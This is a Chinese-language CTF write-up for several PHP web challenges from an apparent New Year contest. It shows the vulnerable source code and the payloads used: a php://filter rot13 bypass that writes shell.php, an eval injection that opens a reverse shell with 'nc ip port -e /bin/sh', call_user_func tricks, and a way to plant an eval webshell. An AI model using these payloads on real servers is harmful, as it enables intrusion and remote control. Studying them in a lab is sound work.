web1
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
?content=php://filter/string.rot13|<?cuc flfgrz('yf /');?>|/resource=shell.php
绕过死亡exit
但是我发现个问题就是不能写马,弄了也没利用好
热身
<?php
eval($_GET['f']);
代码看起来很简单,我想的是弹shell然后随便就拿到flag了结果找半天找不到
?f=%0a`nc ip port -e /bin/sh`;
?f=phpinfo(); 读取到flag位置
长知识了我以为这个东西只能用来文件包含
cat /etc/ssh/secret/youneverknow/secret.php
web2
<?php
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
extract($_POST);
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
echo $flag;
}
}
?>
说说重要代码和思路
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear")
首先回调函数那么我们肯定是要进行函数调用达到目的的 而调用什么函数呢,session_start()给了答案
key:value这是我们传参的键值对 key函数就是获得我们的键名
而这个$$$$$$ 是可以动态的将获取到的键名变为变量使用
(我之前看到的是与parse_url()函数进行综合使用,然后分段url的,今天见到了第二种用法)
分析之后我们用session_id
这个会当即引用cookie的ID
例子:
key: 46546513
名字 ID
session_id=session_id
然后修改cookie为HappyNewYear
web3
<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die("虎年大吉,新春快乐!");
虎年大吉,新春快乐!
在进行弱比较的时候字符串若不为空,其布尔值都为true,那么我们只要是key执行结果为true即可
?1=json_last_error
?1=session_start
?1=error_reporting
web4
<?php
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die("虎年大吉,新春快乐!");
虎年大吉,新春快乐!
我们要把小马写进去
spl_autoload_extensions()
函数用于设置 PHP 自动加载机制中搜索类或接口文件的扩展名范围。默认情况下,PHP 只会搜索 .php 文件。
如果有设置还会搜索.inc
那么我们就可以利用这个函数来进行getshell
?1=spl_autoload_extensions
访问.php
结果无回显
估计就是被设置的那种了那么我们访问
.inc,.php
然后基础rce
web5
<?php
error_reporting(0);
highlight_file(__FILE__);
include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);
file_put_contents()函数可以写文件如果文件存在则进行覆盖文件内容
那么这里使用的一个溢出来进行发送
经过计算524280个就够了
试验也是,但是访问🐯下载文件并没有获得flag。不知道为啥,莫非时间太久远了?
web6
先欠着,这两天期末考试